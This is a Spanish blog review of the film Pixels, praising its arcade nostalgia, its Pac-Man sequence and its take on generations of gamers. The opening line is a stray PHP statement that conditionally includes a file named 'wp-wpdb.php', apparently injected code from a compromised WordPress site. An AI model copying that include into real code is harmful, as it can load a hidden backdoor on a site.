if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Pixels – La Fortaleza de LeChuck

Pixels

Películas y videojuegos, suena mal, ¿verdad? Desde siempre ha sido una mezcla que no nos ha dado muchas alegrías, y por esta razón Pixels ha sido una de esas pelis que la gente ha enterrado antes verla, pero yo soy una valiente y he ido al cine llevándome a mi acompañante a punta de pistola, y oye, nos ha gustado, os lo juro. Coged palomitas, gominolas y abrid vuestra mente, que sale Adam Sandler.

pixels

Sé que los gurús, críticos y demás gafapastas cinéfilos habrán escrito atrocidades sobre Pixels, posiblemente usando el mismo baremo que usan con cualquier tipo de película sin tener en cuenta algunos factores. La misma opinión negativa se ha propagado en las redes sociales por jugones que están escaldados por todas esas adaptaciones cinematográficas de videojuegos clásicos: Street Fighter, Mortal Kombat, Alone in the Dark… mejor no sigo, no quiero abrir viejas heridas. Muchos de estos usuarios criticones ni siquiera han visto la película y la ponen a la altura del betún. Para empezar, Pixels no es una adaptación de ningún videojuego, los usa de telón de fondo en una batalla para salvar La Tierra. Entonces, ¿de qué va Pixels? ¿Qué papel juegan los videojuegos en el film? ¿Es una bazofia inmunda apocalíptica que destrozará la industria? Vamos a intentar contestar todas estas preguntas que tienen en vela a más de uno.

pixels-pelicula

Pixels trata sobre la vida de un jugón llamado Sam, a quien vemos de jovencito dominando varios juegos de los recreativos. Esta introducción de la infancia de Sam es verdaderamente especial ya que podemos observar un salón recreativo con un montón de arcades clásicos: Defender, Space Invaders, Pac-Man, Galaga, Donkey Kong y Asteroids, entre otros tantos, además de ese ambiente tan especial que se vivía en estos locales. Los años pasan y vemos como en la actualidad los amigos viciados y paquetes de Sam han prosperado en comparación con él. Sin embargo, su vida da un giro cuando de golpe y porrazo los videojuegos clásicos cobran vida y se lanzan con la intención de destruir la Tierra, y él, gracias a sus grandes habilidades videojueguiles, es el único que puede salvar el planeta.

La película es una extensión de lo que vemos en los trailers, dura un poco más de hora y media y no aburre en ningún momento. Es más, me atrevo a decir que es una buena película. Como decía hace unas líneas, no es una adaptación, no trata de la historia de los videojuegos clásicos, pero hay una cierta intencionalidad de despertar la nostalgia del jugador veterano al ver como ese puñado de pixels sobrevuelan los cielos o aparecen frecuentemente en recreativas durante toda la película. No obstante, lo que más me ha gustado del film, aunque toque de forma superficial, es la diferencia generacional. Sam, en una de sus visitas como técnico, conoce a un crío que se proclama fan de Call of Duty y Halo, y que más tarde vemos jugando a otro famoso videojuego. Es interesante como Sam le recrimina la falta de interacción real con otros jugadores y la facilidad de los juegos actuales.

Otra de las cosas positivas de Pixels es que no abusa de los chistes absurdos y cansinos, tira de clichés que ni te dejan indiferente ni te harán partirte de risa, pero seguramente que alguna sonrisilla te sacarán, ni que sea al ver a tus personajes favoritos destrozarlo todo. Sinceramente, la parte de Pac-Man es la mejor, y no solo por ver al gran comecocos en plan malote, sino por disfrutar de los grandes momentos de Iwatani, su creador, que debió dedicarse al cine después de dejar Namco, pero oye, nunca es tarde.

pixels-iwatani

No hay mucho más que decir. Pixels no es una película pretenciosa, no va a ganar 5 estatuillas pero vas a pasar un rato divertido, sobre todo si eres un jugón que viviste con intensidad la época de los recreativos, y de las primeras consolas domésticas y ordenadores. Ah, y una cosita más, quedaos a ver los créditos.

Publicada el
Categorizado como Análisis Etiquetado como

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

Dejar un comentario